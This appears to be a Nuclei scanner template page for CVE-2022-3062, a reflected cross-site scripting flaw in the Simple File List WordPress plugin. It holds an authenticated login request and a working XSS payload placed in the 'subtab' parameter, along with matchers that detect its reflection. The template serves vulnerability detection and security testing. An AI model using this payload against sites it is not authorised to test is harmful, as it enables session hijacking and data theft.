Simple File List < 4.4.12 - Cross Site Scripting

ID: CVE-2022-3062

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,authenticated,wordpress,wp-plugin,wp,wpscan,xss,simple-file-list,simplefilelist

Description

The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

YAML Source

id: CVE-2022-3062

info:
  name: Simple File List < 4.4.12 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 4.4.12
  reference:
    - https://wpscan.com/vulnerability/2e829bbe-1843-496d-a852-4150fa6d1f7a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3062
    - https://wordpress.org/plugins/simple-file-list/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3062
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,authenticated,wordpress,wp-plugin,wp,wpscan,xss,simple-file-list,simplefilelist

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "ee-simple-file-list")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)//")'
        condition: and
# digest: 4a0a00473045022100f8f1dc3c74a774329c25fd5c19a0787bfc94d09e4a60c11d1b61353819b817eb022052ad6b34b7c0427912c812e5ca8affbaef1bf341da90c3c83131c8c8b9039f75:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3062.yaml"

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